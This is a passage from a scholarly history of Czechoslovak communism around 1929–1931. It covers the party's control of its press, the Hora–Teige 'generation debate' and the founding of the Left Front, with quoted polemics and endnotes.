The party leaders maintain their decisive power in managing the press. From October of 1930, Gottwald was the political director of Rudé právo paper and following the removal of the ultraleft E. Fried, J. Guttmann took over the role of managing the personnel issues and management of the department of campaigning and propagation. Gottwald insisted that the leading functionaries of the party had to take part in creating the party press. "While the organizational apparatus affects only a small number of the proletariat, the press speaks and gives directives to the masses."29 Thus, campaigning and promoting becomes the main activity in the job description of the Communist Party leaders. "The Politburo, the secretariat or the department of campaigning and propagation actively interfered with the activity as well as the contents of Rudé právo paper and other party periodicals. They decided on the authors of the editorials, the topics of articles and commentaries, the events the press was to organize, . . . any changes in the personnel structure of the editorial staff."30
After overcoming the disputes in the Communist Party, its leaders further moved to reorganize the press institutions. In the name of centralization, or for the sake of better supervision of the contents of the press, tens of local communist papers and magazines were closed down and ordered to merge with the regional institutions. This move ensured content unification of the communist press. "Crucial political articles, or the printed speeches from congresses, conferences, the parliament, the senate, or public meetings, were mostly those by Klement Gottwald and other leading functionaries of the party, the red trade unions, and mass organizations."31
Cultural sections of the party press were also fully subordinated to the supervision of the party's leadership. J. Fucˇík was put in charge of the cultural section of Rudé právo paper, while its literary insert was led by L. Novomeský. It was Fucˇík who pushed the idea that until 1929 the communist press was tendentiously oriented toward the proletariat and had forgotten about promoting leftist culture. In his opinion, KSCˇ has a clear and specific goal, which is to win the intelligentsia over for the cause of proletarian revolution. According to Fucˇík, the target group which the campaign of the communist press was to focus on was supposed to be the intelligentsia, whose only choice was either fascism or communism.
In the analysis of the reorganization of the communist press, we need to mention the renewal of the Komunistická revue in October of 1930.32 As its main goal, the Komunistická revue sets out to study the "lessons learned" from the crisis in the Communist Party. From the magazine's first issue, J. Guttmann begins to publish an analysis of the events in the Czechoslovak communist movement from 1918. This analysis critically assesses all stages in the development of the KSCˇ as well as all its participants, with the exception of the new leadership headed by Gottwald. "The Communist Party of Czechoslovakia has little experience with direct revolutionary struggle. The lesson from 1920 should have been all the more analyzed a long time ago. . . . Opportunist establishments led by meral, Neurath and Jílek were not in favor of such analysis. Firstly, they underestimated the importance of theoretical work; secondly, they were afraid that a critical analysis would make the glory of the party leaders fade significantly."33
In a short period of time, the new Bolshevik leadership of the KSCˇ managed to subordinate the party press to its complete supervision. New editors modified their articles, mostly reports, based on the instructions and requirements of the party's department of campaigning and propagation. "Editorial work . . . was important political work. It wasn't about any kind of writing, but such that would correspond to the party's political course and the communist conviction of its editors."34 On the one hand, the party's cultural politics was mentioned as an important part of the process of Bolshevization; however, on the other hand, the party's leadership did not want to risk another failure like that of Proletkult. The party attempted, on the basis of collaboration with mainly young artists who supported the new leadership, to build up a cultural organization which would be completely controlled by the KSCˇ. Thus, Levá fronta (Left Front), to which the next chapter is devoted, came into existence.
Notes
1. Václav Cˇada, Stratégia a taktika Komunistickej strany Cˇeskoslovenska v rokoch 1921–1938 (Bratislava: Pravda, 1982).
2. Deˇjiny KSCˇ (Prague: Nakladatelství politické literatury, 1966).
3. Komunistická revue, January 1929, 23.
4. Komunistická revue, January 1929, 27.
5. Komunistická revue, January 1929, 30.
6. Protokol 5. Rˇádného sjezdu Komunistické strany Cˇeskoslovenska, frakce Komunistické internacionály (Prague: Svoboda, 1971).
7. According to some sources (for example, Cˇada, 1982), the group consisted of twenty-eight members.
8. "Lenin's last will concerning the leading personalities in the Russian communist party was ignored."
9. Komunista, 1 May 1929, 1.
10. For example, the third issue featured the following appeal: "We ask the comrades who agree with the proclamation of members of parliament and senators and with the opposition's plan to save the party and the unity of the International All-Union League to send their address to František Toužil, Prague III, Senate of the National Assembly." Komunista, 30 May 1929, 1.
11. Komunista, 30 May 1929, 1.
12. Komunista, 4 July 1929, 1–2.
13. Its members were Berger, Bolen, Houser, Jílek, Neurath, Muna, Skalák, Hais, Sucharda, and Sýkora—no first names provided. Komunista, 4 July 1929, 2.
14. Artists distancing themselves from Gottwald find themselves in a similar situation.
15. Komunista, 2 October 1929, 1.
16. Lidové noviny, 25 March 1929.
17. I state this fact mainly because it is likely that many KSCˇ members never learned what the proclamation contained.
18. František Helešic, "Manifest sedmi literátu˚" in Kapitoly z deˇjin Cˇeskoslovenského tisku I. (Prague: Cˇeský novinárˇ, 1969b), 89.
19. Avantgarda známá i neznámá, sv. III (Prague: Svoboda, 1970), 49–53.
20. Olbracht was considered to be the main culprit, because as a member of Jílek's group, he was politically responsible for the proclamation.
21. Avantgarda známá i neznámá, sv. III, 49–53.
22. Tvorba, 30 March 1929.
23. The proclamation was probably drafted by Neuman's lifelong opponent, Karel Teige, although the party's share is evident. Moreover, K. Biebl and Vilém Závada denied ever writing the proclamation.
24. Tvorba, 27 April 1929.
25. For example, in his own words, V. Vancˇura signed out of protest against sectarianism of any kind and his fear of it.
26. For example, see the Preface to the book Krize národa. Avantgarda známá i neznámá, sv. III.
27. The article was published more than a year after the "Proclamation."
28. Pravda chudoby, 8 July 1923.
29. Rudé právo, 5 December 1929, 3.
30. Helešic, "Manifest sedmi literátu˚," 43.
31. Helešic, "K problematice práce redakce Rudého práva na prˇelomu dvacátých a trˇicátých let" in Kapitoly z deˇjin Cˇeskoslovenského tisku I., (Prague: Cˇeský novinárˇ, 1969a), 48.
32. Interestingly enough, Paul Reimann changes his name to Pavel Reiman here.
33. Komunistická revue, October 1930, 23.
34. Helešic, "K problematice práce redakce Rudého práva na prˇelomu dvacátých a trˇicátých let," 52.
# Chapter 12
## Generation Debate and
the Origin of the Left Front
Generation Debate
The events that took place in the KSCˇ in 1928 and 1929 also greatly affected the area of leftist culture. The previous chapter dealt with the so-called "Proclamation of the Seven" in terms of this group's conflict with the new KSCˇ leadership. The party press led a denunciative campaign against the "renegades"; the central committee of the KSCˇ expelled them from the party and their artist "comrades" officially distanced themselves from the group. While expelled trade unionists and members of parliament usually wound up in social democracy, the seven writers did not share their fate. Further development of these seven writers, of which we will focus on J. Hora and S. K. Neumann the most,1 will help us illustrate and evaluate the procedure of cultural propagation at the time of the so-called generation debate, which took place roughly in the period between the fifth and sixth congress of the KSCˇ.
First of all, it needs to be said that Josef Hora was the only signatory of the "Proclamation of the Seven," who afterward never became closely affiliated with the Communist Party. He became the target of unscrupulous propaganda waged by the KSCˇ, namely through Karel Teige. However, Hora was not merely a passive target who would not defend himself. Quite the contrary, he managed to retaliate and even matched Teige's masterly eloquence, proof of which are the articles "The Writer and Politics" and "Literature and Politics." I intend to base my explanation of Hora's
position on these articles. Moreover, Hora had a sufficient amount of room to defend himself in the Plán magazine, which was published under his editorial supervision from 1929.
Hora's first article, entitled "The Writer and Politics," describes the consequences of the campaign led by the KSCˇ, mainly through Rudé právo paper, against the seven writers. He expresses his bitterness over how quickly the KSCˇ disposed of people who had done so much for the party in the past:
Although referred to as liquidators and traitors, which is common terminology in the revolutionary language of the communist parties, we were somewhat surprised by the articles and verbal attacks in the communist press, which not only cursed our political expression, but also damned even our innocent literary works that came long before the proclamation. Our works were added to the list of forbidden books by the overzealous secretaries and for several months now they have not been available for the good Komsomol (communist youth organization). You will no longer recite Neumann, Hora, Seifert, or read any of the works by the others.2
In this article, Hora did not point out the fact, which presented momentum in the so-called generation debate, and which for leftist artists, particularly for the ideologists of leftist, or communist art, was very obvious. The new party establishment expelled from the community of communist writers those artists whose work most corresponded with the theme of so-called proletarian art, and in the campaign against these writers, the party willingly took advantage of artists who at the time were diverging from poetism, which was very distant from proletarian art both in its theme and form. For the time being, Hora stuck to political discussion; however, the other side, namely Karel Teige, rejected such debate.
Teige attacked Hora not from the political point of view, but as an integral personality. For the so-called avant-garde art of the 1920s, such attack was something new.3 Until then, all conflicts of opinion among individual leftist artists had taken place in a more or less amicable atmosphere. The "café generation" resolved their disputes politely, although artists expelled from Deveˇtsil complained about Teige's ideological intolerance. For example, J. Seifert mentions this in his memoirs.4
The denunciation of Josef Hora was to become an example of how the art of the left was going to work under Bolshevik leadership. The fact that it was really supposed to be a denunciation is proved by Teige's words from the article "Karel Teige: 1929":
If with the strengthening cultural reaction there are even more cases of desertion, character somersaults and shameful coat-turning, it could be the role of the Left Front5 . . . that such cases would mean utter disqualification and moral suicide of the particular author, whereas today they are proven to be the beginning of an official career, professional advancement and academic merit. One of the most embarrassing cases of this sort is that of Josef Hora. It is not only a political case. It is clearly not only a matter of one's political conviction, if an author who parts ways with the communist party and signs a proclamation supporting the destructive opposition moves directly to work for an anticommunist, or even a social fascist evening paper.6
Further, Teige calls Hora the Czech "Trotsky," a henchman of the Melantrich Publishing House (owned by National Socialist party); he accuses him of impoverished cultural conscience and literary character and labels his poetry as revolutionary tendentiousness.
Hora's response to Teige's criticism was also aimed personally.
In his criticism, Teige appears to be a communist of the current politburo who with a boyish radicalism dares spit on everything that lacks the seal of his political secretariat. I would accept this speech of his if I knew that Teige really is what he pretends to be, that is, a true communist. The crazy conviction of our leftist communists that apart from them and their lengthy theorems there is otherwise no life in the world can in a normal person only invoke a smile of understanding at their mental state. But Karel Teige is a communist just as much as a cockatoo is a bird of prey, which could easily be revealed if he were to take a test in the ABCs of communism. Communism is only a coquettishly donned mask of youthful radicalism on his face. Today, Teige finds communism convenient just as he found intellectual individualism convenient in the past. I wrote in my brochure [Literature and Politics] about communist snobs, and Teige is one of them. . . . Everything positive that Karel Teige did in our culture grew outside communism and is tightly linked with today's bourgeois European culture. Therefore, next time, Karel Teige, for the sake of communism as well as in his own interest, should apply his temperament, his skills and his promotional and polemic strength in his own sphere and leave communism alone.7
Teige then reproached Hora for accepting, together with V. Vancˇura, the State Literature Award, which according to Teige was evidence of their political opportunism. Hora responded to this criticism in the Cˇin (Act) magazine led by M. Majerová:
In the Dav (Crowd) magazine, Teige is referred to almost as 'the chairman of a generation' and we rejoice over the fact that he has finally received such recognition from the young generation. He fights in their name, he coins slogans for them, supported by theses of the Politburo just as promptly as 'Dada' did in the past. He finally got to where he could have been a long time ago. He assumed the role of an avant-garde leader of the truly left, i.e. communist cultural front.8
I have devoted so much attention to the Hora-Teige dispute for several interconnected reasons. Firstly, Hora was the only "liquidator" who never found his way back to the KSCˇ. Secondly, this dispute was also a sort of a climax of generation disputes between poetists and their critics from the middle-aged generation of leftist artists. Thirdly, it was conducted within a clearly defined conflict of two different views of the changes in the Communist Party in 1928 and 1929. And fourthly, Teige's shifting positions demonstrate his constant adjustment to the newest, fashionable trend, whether it be in the area of art or politics. Gottwald's leadership was new and modern, as it had no ties with the party's social democratic past, which is why Teige gave it his full and unconditional support.
This typical salon communism, which for a long time ignored the real consequences and effects of the politics of the Communist Party, that is, the Communist International, was given the most room for its attacks against people with a different view of the events and changes in the communist movement during the period following the fifth congress of KSCˇ, that is, at the beginning of the activity of the Left Front. Teige was undoubtedly one of the typical communist intellectuals in the inter-war period in Czechoslovakia—ignoring the real effects of communism, mindful of the empty phrases of Marxist theory, which for the Soviet and, following the fifth congress of the KSCˇ, also for Czechoslovak Bolsheviks meant nothing more than an ideological crutch, which could have been modified any time under the slogan of Leninism, that is, a "critical" approach to Marxism and its application to specific political conditions. Teige's lack of criticism of Soviet communism and its Czechoslovak section lasted for twenty years, while a number of other leftist intellectuals never sobered up at all.
Hora never found a staunch supporter;9 however, he continued to speak out against the current KSCˇ leadership and the communist movement. In his criticism of the coup in the KSCˇ leadership, Hora included his findings from his trip to the Soviet Union in 1925:
I returned from Russia with the image of a great and incendiary effort, the image of a heroic country. . . . But we also came to the realization that . . . there is also another kind of communism, a communism taken over by small and incompetent people . . . who are foolish enough to believe that such communism can win by turning the movement into a mechanical, bureaucratic machine, turning people into machines of revolution. . . . The living human being has disappeared from the decadent communist movement in various countries, replaced by the Communist International with mere bearers of ideological theses.10
Professional literature dedicated to the problems of the interwar art of the left often states that the generation debate was initiated by Jindrˇich tyrský in his article "Koutek generace" (Generation Corner), published in the Odeon magazine. Considering the fact that the article was published before the "Proclamation of the Seven," this view can be accepted. tyrský attacked the Deveˇtsil generation that he was a member of himself for its "corruptness, spinelessness and meretriciousness. The quality is measured [by artists of the Deveˇtsil generation] by the degree of success achieved by knowing the right people. . . . The poet has freed himself of all prejudice and admires the heroes of the revolution (as much) as the heroes of the counterrevolution."11
tyrský's article did not bring a breakthrough in the relationship among leftist artists. When tyrský accuses his generation of abandoning its ideals, set out in the manifesto New Proletarian Art, he is certainly not the first one to do so, and his article is not the most offensive of all the reactions to Deveˇtsil's poetists. Not taking into account the criticism by right-wing artists, we can mention the reactions of the leftist artists of the older generation (see the previous chapters). tyrský's primacy lay in his self-criticism as a member of Deveˇtsil. Still, it is unlikely that his article, which mainly dealt with the choice of artistic criteria of leftist writers, would launch the avalanche of debates seen in the following months. In my opinion, the real impetus of the generation debate was the proclamation of the "seven" and the "twelve" that is, the dispute between Josef Hora and Karel Tiege.
Before I begin the treatise on the generation debate, I need to clarify certain expressions that are and will be used in the text. If I speak about the generation debate, I use this expression as a technical term, realizing that it does not refer to a debate of a generation, but rather a debate about a generation. However, even this description is misleading, as the debate was not narrowed down to a polemic about artists associated with Deveˇtsil, that is, leftist artists born around 1900. Therefore, in order not to confuse the terminology, I will stick to the established expression generation debate. Further, to simplify the explanation, I will use the terms realists and modernists. The term realists refers to those artists of the left who stuck to the concept of proletarian art as an art of realistic description; while the term modernists denotes those of leftist artists whose artistic work was not subjected to (socialist) realism.
In fact, the entire generation debate took place in the Tvorba magazine, which in 1928 F. X. alda handed over to Julius Fucˇík, a leftist critic of the young generation. J. Fucˇík unconditionally subjected himself to the new leadership of the KSCˇ, so we cannot expect to find any articles by Hora in Tvorba. However, generally it can be said that the KSCˇ did not intervene too noticeably in the generation debate, though it is clear that the party was involved in it. At the fifth congress of the KSCˇ, the new leadership definitively turned away from the Proletkult concept of cultural politics and declared a "struggle to gain the best writers of progressive literature." The KSCˇ welcomed the active approach of writers at the party's events; however, it was accentuated that the main expression of the political activity of communist writers is their own artwork. Among other things, the generation debate attempted to formulate the criteria that the KSCˇ was to apply in the assessment of whether a writer was a communist.
What were the realists' reservations about the modernists, paradoxically worded by J. tyrský, who himself was a modernist? What does he mean by the crisis of criteria? According to the manifesto New Proletarian Art, the primary prerequisite for and a sign of new (that is communist) art was to be its revolutionism. Further, the manifesto read: "The new art will be realistic. We strongly believe in factuality, . . . experience, and recognition." Thus, the young Deveˇtsil artists embraced Marxist dialectic, but following their shift from proletarian art to poetism, their artwork had very little in common with dialectics and realism, and that is what tyrský had in mind when he wrote about the crisis of criteria.
Representatives of literary realism, especially S. K. Neumann, soon noticed and described this contradiction between theory and practice. The lack of interest in cultural politics until 1929 on the part of the KSCˇ meant that modernists could officially produce their art next to the realists without anyone doubting their communist sentiment. Josef Hora pointed this out when he wrote:
It was a mistake to think that the young poets—who from 1924 followed the slogan of poetism, promoting art as a playful game, unwilling to transform political ideas and revolutionary gestures into rhyme, but instead wielding beautiful words and indulging in gorgeous and fantastic images of a vibrant world, which in spite of all the social misery is so beautiful—ran away from socialism. Our poetists, associated with Deveˇtsil, always claimed their loyalty to the idea of revolution and managed to prove it by turning poetry into a beautiful game. They are giving the proletariat more than proletarian poetry ever could.12
Thus, poetism was questioned, not by the KSCˇ, which attempted to gain as many popular artists as possible, but paradoxically by one of its own, a member of the leftist cultural community. In his article, tyrský questioned whether Deveˇtsil writers could be considered socialist or communist, if they use an individualistic style based on the modernist cultural trends of the 1920s and 1930s.
It could be said that the generation debate took place among leftist art theoreticians and literary critics. Apart from theoretical contemplation on the form of socialist art, virtually all participants of the generation debate expressed their opinion of the "Proclamation of the Seven," condemned by most. What is important is that apart from Karel Teige, the polemic was joined also by other communist literary critics—especially the new, mostly realistic generation, whose most well-known representatives were J. Fucˇík, Vladimír Clementis, Eduard Urx, B. Václavek and Ladislav toll. F. X. alda also took part in the debate.
As alda's view is most void of personal antipathy and dogmatic accusations, and because this publication does not intend to focus on a description of the debate on literary theory, I will include several excerpts from alda's article "Disputes and Conflicts in the Deveˇtsil Generation," published in the Tvorba magazine. First, alda defends the seven signatories of the Proclamation:
I have never been a member of the communist party, I have never lived a political life in the party and therefore I cannot judge whether the accusation of the seven writers was substantiated—but I know all of the protesters as true and honest individuals, who dearly loved communist ideas and that for years they lived them and served the party selflessly. I know that this proclamation was not done out of recklessness or for an external effect. Perhaps they were mistaken in their accusation, they may have judged unfairly—but still, they should have received guidance instead of being expelled and silenced. No party, not even the communist party, may have the absolute power of the church,13 because it cannot have its absolute dogma: the right to discuss must be granted, especially to intellectuals.14
At the time the article was published, alda was involved in the establishment of the Left Front, an independent section of the KSCˇ, but his judgment is based more on the point of view of literary criticism than politics. Still, alda did not refrain from giving advice to the seven expelled writers on what they should do following their proclamation.
What did some of the expelled writers do, mainly Hora and Seifert?15 They began to write for bourgeois papers—first, they published their poems in the Lidové noviny and Cˇeské slovo papers,16 later they joined the editorial staff of these papers—Hora is an editor of the national socialist evening paper today. I think that was a mistake and I stated that in a letter to Hora in the summer: what impression will it leave on a worker who used to read Hora's works in Rudé právo paper and now sees his writings in the Lidové noviny paper, where editors constantly disparage communism? The seven writers should have established their own magazine or moved en masse to some of the socialist papers.17
alda never mentions that the new leadership of the KSCˇ gave instructions to denounce the signatories, that their artwork was forbidden to be read by party members, that the party press published articles doubting not only the artistic value of their work but also the writers' moral qualities. I would not want to suspect him of neglecting facts. I am more willing to believe, considering the later sobering and departure from the Left Front, that he really was not informed of these things. To defend the expelled writers, we need to add that they did attempt to establish their own magazines. I have already mentioned Hora's Plán; however, it was terminated in 1932 due to insufficient financial resources. During the magazine's three-year existence, only eight issues were published. In 1929, M. Majerová became editor of a new magazine called Cˇin.
alda addresses the generation debate through Hora's dispute with Teige, which substantiates my opinion that it was this dispute which provided the generation debate with momentum and without which it would never have reached such proportions. alda notices Teige's motivation resulting from his position of the generation's speaker:
K. Teige attacks Hora, but why Hora? Because as a journalist he was the closest target—but I am probably not mistaken if I also hear a sort of a generation aversion to Hora, who is not a "pure" Deveˇtsil member. His age is closer to the so-called pragmatic generation. . . . Teige is convinced that a new, modern poet must also have a modern world view, that is, Marxism and communism. . . . But Hora replies "I continue to be a communist, because communism is something else and much more than the communist party, let alone its current leadership, which hands out instructions today but tomorrow may very well be thrown out of the party: communism is my faith, my conviction . . . a source of my poetry."18
alda gives a true picture of what the generation debate at that time (early 1930) was really all about. It was not about the criteria, but the writers' membership in communist organizations. During the debate, two contradicting views emerged. One, defended by Hora, can be simply formulated as follows: One can be a communist and write in the spirit of proletarian art without being a member of the Communist Party. On the other hand, the opposing view, reinforced by the KSCˇ by creating the Left Front, can be summarized as: The contents and form of a work of art do not determine whether its author is a communist writer; the only criterion distinguishing a communist writer is his membership in the Communist Party or some of its satellite organizations. Karel Teige held this view in the debate.
Teige, who was considered as the speaker and ideologist of Deveˇtsil, was obsessed with modernism. He welcomed with enthusiasm new trends in art and politics and was willing to do almost anything to implement the fashionable "novelties." He embraced revolutionary art and collectivism, and his activities19 speak to the fact that it was not a mere whim. At the same time, though, his artistic work or his views of art theory (not political views) are evidence that he was an individualist, unwilling to conform to directives and the collective concept of public engagement represented, for example, by the organization of a political party. The fact that he felt he was a communist, yet at the same time refused orders from above, was a contradiction.20
Teige wanted to remain a communist; however, he was not willing to give up his position as an independent art ideologist of Deveˇtsil. It is possible that this motive for defending his own autonomy and the right to choose any artistic style within communist art was reflected in his aggressive attacks against Josef Hora. If such motive did in fact exist, then it went along with the temporary intention of the cultural politics of the new leadership of the KSCˇ, which made maximum efforts to win leftist artists over to their side. As it was impossible to attract everyone to become members of the party, it was necessary to establish an organization that would be controlled by the KSCˇ, while it would seemingly maintain its independence. The Left Front, established on October 18, 1929, was to become such an organization.
The Left Front
It has already been said several times that one of the main goals the Communist Party set for itself at the fifth congress was to win over the intelligentsia, which the party had previously rejected mainly for ideological reasons. According to F. Helešic, the new cultural organization of the KSCˇ was to target "that part of the middle class, particularly its intelligentsia, which had not expressed itself politically and held the position of nonconformism, bourgeois democratism or humanism."21
Following the overthrow of the group of people who oversaw the cultural policy before the fifth congress—let me just remind you that these were mainly artists rooted in the former, anarchist-based Union of Communist Groups—there came forward a communist cultural organization which prided itself on its members' proletarian roots and also the true proletarianism of their art production: the Czechoslovak Workers Amateur Actors Association. Movie and theatre director František Spitzer, a member of the Association, expressed his idea of the cultural policy of the communist party as follows: "At a time when the economic front merges with the political front, we cannot allow a third, cultural front to emerge.
. . . The bourgeois culture must be put in quarantine so that it cannot reach the workers."22 According to Spitzer, all cultural workers of the Communist Party should be transferred to the economic front, that is, under the Red Trade Unions. His suggestion was that the Communist Party give up on any kind of cultural policy. Two months later, this proposal was rejected by E. Urx in the article "Putting Down the Weapons on the Cultural Front. F. Spitzer's Big Mistake."23 Meanwhile, Karel Teige was already organizing the Left Front.
On October 18, 1929, from Teige's initiative, about thirty cultural workers met at the Opera café in Prague. It was a meeting of people "bound together by the organized and conscious resistance of the intellectual productive force against the leading and decomposing liberal culture, against its traditions, anachronisms, esthetic and morality, against the disorganized and withering social system."24
An organization called the Left Front was established at the meeting.
The Left Front intends to concentrate and mobilize the cultural left. . . . At the same time, the Left Front strives to establish a direct connection with its audience. . . . The activities of the Left Front will be of an international character. . . . The Left Front intends to concentrate on working together in all activities, whose production is enlivened by the modern spirit and which is the manifestation of modern will—modern architects, writers, journalists, lawyers, [etc]. . . . 25 The base the Left Front is being built upon is the revolution. The Left Front, as a non-political organization, is not affiliated with any political party, but rather a working collaboration of the international intellectual community.26
At the end of the proclamation, the names of several members are provided: F. X. alda, V. Vancˇura, V. Nezval, V. Závada, K. Teige, F. Halas, J. Seifert, L. Novomeský, I. Sekanina, M. Cˇermínová (further referred to only as Toyen), J. tyrský, B. Václavek, and others. The list of names could make one believe that the Left Front was merely Deveˇtsil expanded by representatives of other generations and professions, but this feeling would be entirely misleading.
The Left Front was definitely not a loose association of left-leaning intellectuals. Already in the initial proclamation, everyone who agrees with its viewpoint and wants to actively participate in its work is asked to become a member.27 An even more warning signal was the proclaimed concentration of the intellectual productive leftist force. Anyone who was not a member of the Left Front could be labeled unprogressive, unproductive, that is, right wing.28 Exactly this type of argumentation was used against Josef Hora, when he expressed the conviction that in terms of ideology he could be a communist even without being a member of the KSCˇ.
Hora continued to insist on his opinion. In the first issue of the second volume of his Plán magazine, he ponders the role of the magazine. He sees its main role in once again bringing together leftist artists.
The first volume of Plán started to be published last year [1929], at a critical time for the young literary generation in our country. Especially for the left wing of literature, it was a time of painful disputes and organizational split-ups. We came at a time when the idea of generation began to disappear from the thoughts of its bearers and when its individual, maturing members started to move away from the common foundation. And also at a time when the crisis of our cultural left manifested itself in many breakups. . . . Our ambition is to gather, if possible, all the talent of the young generations. Let us not forget that Plán has no intention of supporting the reaction and the mustiness, but rather of remaining what it started out as: a paper aware of the fact that modern art is possible only on the platform of socialism, that it thrives on its spirit and grows against anarchy, bringing the twilight of the capitalist social order.29
However, Hora's insistence on modernness did not rid him of the curse cast by the Communist Party. The establishment of the Left Front resolved the main problem of the generation debate. The program of the Left Front rejected Hora's views, while giving those of Teige the green light. From then on, the general rule was that an artist or an intellectual was considered progressive, communist, and so on, as long as he was organized either directly in KSCˇ or in one of its satellite organizations—in this case, in the Left Front—or at least gives the impression of being a member.30 Under these conditions, they are given freedom as to the contents and form of their art production.
The role of chairman of the Left Front was taken by the "generation chairman"31 Karel Teige. It would be unfair to consider this role as a mere reward for the uncompromising campaign against Hora. Even independent observers, for example, Karel Polácˇek or Václav Cˇerný, viewed Teige as the true spiritual leader of the generation. The Left Front was also a solution to the polemic on what would replace the fading poetism. Teige did not have to look for a new, collectivizing -ism, because the Left Front's main job was to carry out "collectivization."
The figure of Karel Teige as head of the Left Front did not appeal to "the lost son" S. K. Neumann, who joined the generation debate in the spring of 1930 with his article "Discussion on the Generation's Purity." In the article he rejected any speculation about a crisis of the criteria of Marxist writers. For Neumann, the criterion is clearly dialectical materialism, applicable to all areas.
The confusion on the left front [does not refer to the organization] was caused by communist theoreticians and critics who systematically accepted everything that was "avant-garde" and "non-conformist," always putting it in the right place in the development of modernness, revealing the roots of trends, personalities and their work and the "right" and "left" elements in them . . . they overlooked all the dialectical materialism and flirted with spiritualism. . . . Karel Teige elevated surrealism in a way that for me, as a communist, is incomprehensible and unacceptable. . . . In our country, there is no tradition of dialectical materialism, revolutionary Marxism is deeply rooted neither as a method, nor a world view. Only in the area of politics was something substantial achieved, otherwise almost nothing. . . . I would like to tell Karel Teige, the most talented, and as far as esthetics goes, the most educated and hardest working representative of this generation, this: Look, comrade, you are wasting your energy by serving as an agent for all kinds of would-be avant-garde movements and phenomena, big and small.32
S. K. Neumann thus presents dialectical materialism as a universal remedy which can resolve the generation debate, because if everyone produces art from the same point of view, then there will be no more disputes.
With its proclaimed concentration, the Left Front represented true Bolshevization in the area of culture in the KSCˇ. The independence of political parties, which the Left Front boasted, later turned out to be mere fiction, as evidenced by the following steps in the area of cultural policy. The birth of the Left Front also resolved the problem of intellectual opposition within the KSCˇ. However, the generation debate went on, because the Left Front lacked a specific program and main goals.
During 1930, the Left Front was gradually transformed into an organization fully subordinated to the KSCˇ. Its communist members (I. Sekanina, L. Novomeský, and others) "attempted to free this organization of intellectuals from the narrow avant-garde concept, increase its membership numbers with unaffiliated intelligentsia and bring it closer to the struggle of the revolutionary proletariat, and even subject it to the political objectives of the Communist Party of Czechoslovakia."33 The affected change meant the replacement of Karel Teige as the Left Front's chairman with his theoretical opponent of many years, S. K. Neumann, who also became an editor of the Levá fronta magazine, which served as a platform for the young generation of communist art critics to publish. The Left Front was still not structured in any way; it was merely a relatively loose group of people who communicated with one another by way of its leaders, or its press, which was rather unusual for a satellite organization of the Communist Party. Neumann also insisted that the Left Front must remain independent of what was happening in the Communist Party. "The Left Front is not an institution of a political party: no idea voiced therein can threaten the unity or discipline of a larger unit, therefore, the method of the Left Front may be free, yet sensibly conducted discussion, and as for the supporters of various shades, its methods can be patience and persuasion rather than criticism and expulsion."34
Thus Neumann—probably based on his own experience with Gottwald's leadership—keeps his distance from the KSCˇ and intends to build up the new cultural organization similarly to Proletkult in the early 1920s. His comments on the politics of the Communist Party were very skeptical.
One by one, our leaders and ideologists went to Moscow and they all failed. Simply said: If I know that I would have failed, had I bet everything on meral's success; if I know that I would have also failed, had I bet it all on Neurath's or Jílek's success, what is the guarantee of betting on Guttmann's success, for example? In Czechoslovakia, a thinking person who does not want to be swayed like a leaf in the wind must find such guarantee only in his or her own informed judgment.35
Neumann's skepticism from the development in the Communist Party illustrates how much confusion the ideological disputes and constant changes in the KSCˇ caused on the left cultural scene. Neumann's opportunist opinion that it is best not to affiliate oneself with any "faction" of the KSCˇ, could have only been the bitter sigh of a leftist intellectual with bad experience, but also criticism of K. Teige, who recklessly jumped into all the sorts of "modernness" that appeared.
Between November 6 and 15, 1930, the International Congress of Revolutionary Literature was held in Kharkov. A paper on the situation of leftist culture in Czechoslovakia was presented by V. Clementis, who described the transformation of Deveˇtsil to poetism and stated that "the Deveˇtsil group suffered from proletkultism,"36 and continued to speak about the proclamation of the seven writers, whom he divided into social fascists (Hora and Seifert) and those who remained progressive, revolutionary intellectuals (S. K. Neumann).
More important than Clementis's speech, which only superficially described the development of the left avant-garde, was an open letter, which the congress addressed to the revolutionary writers in Czechoslovakia. The letter also summarizes the recent developments in the Czechoslovak left avant-garde, but additionally it also contains a sort of an algorithm telling Czech writers what to do to calm the turbulent situation. Among others, the instructions include:
In order to newly build, remedy and fortify the literary revolutionary movement in Czechoslovakia, it is necessary to establish a strong organization as a platform and revolutionary line of all literary work. Its foundation will be the ideological and creative platform of the International Bureau of Revolutionary Literature, which sets the following conditions for its cooperation:
1. struggle against the imperialist war and for the protection of the Soviet Union,
2. struggle against fascism and the white terror, and
3. energetic struggle against all facets of social fascism.
Revolutionary literature in Czechoslovakia can no longer limit itself to literary masterpieces and the collaboration with proletarian and agrarian writers, but mainly on working with the masses. . . . Writers need to collaborate with the revolutionary proletariat on an international scale and with revolutionary writers from around the world. In order to achieve that, systematic cooperation on an organizational basis must be initiated in Czechoslovakia. Its foundation can be the Tvorba magazine.
Signed by Egon Erwin Kisch, who represented Czechoslovakia at the fifth world conference of proletarian revolutionary literature in Charkov.37
It was not true that the Left Front had done nothing until then; for example, J. Fucˇík had drawn up a list of newspapers and magazines to which no "orthodox" leftist intellectual should contribute. Thanks to S. K. Neumann, the Levá fronta magazine kept a certain distance and partial autonomy. Neumann continued to present his own evaluation of the developments in KSCˇ with regard to Bolshevization, which was not always fully in line with the official policies of Gottwald's leadership. Neumann based his evaluation on a conviction which he reached while assessing the activities of intellectuals in the KSCˇ. "It is more beneficial for the party and even for intellectuals, provided the intellectual stands outside the party lines, if the party is not responsible for his deviations, scruples, moods and whims and if it doesn't suppress them; if the intellectual is not directly responsible for his work and life to the party."38
The sixth congress of the KSCˇ, held between March 7 and 11, 1931, only confirmed that the Left Front really was not an independent organization. At the congress the Left Front was presented as a faction of the KSCˇ. Although the agenda focused mostly on the economic crisis and the party's activities at this time, it also included the area of culture. For the first time in the history of KSCˇ congresses, there was a presentation of revolutionary artists,39 given by an "unknown" member of the National Theater, Mr. Famíra, instead of one of the leading figures in the cultural field, who only sent their greetings (V. Nezval, S. K. Neumann, V. Vancˇura) which were presented with special attention at the congress.
The fact that the congress was attended by representatives of all classes was to emphasize the party's popularity with all people of revolutionary spirit. The closing speech, presented by K. Gottwald, laid the foundations for the establishment of the so-called popular front, which was to include a maximum number of left-leaning people. Therefore, the KSCˇ did not see its biggest enemy in the right-wing and fascist parties, but instead in the socialist parties.40 The Left Front was to play a role in the KSCˇ's campaign against these parties. Steps were taken to transform the Left Front into a real faction of the KSCˇ. Following the communist party's sixth congress, the leadership of the Prague branch of the Left Front was joined by Z. Nejedlý, L. toll, P. Reiman, and others.
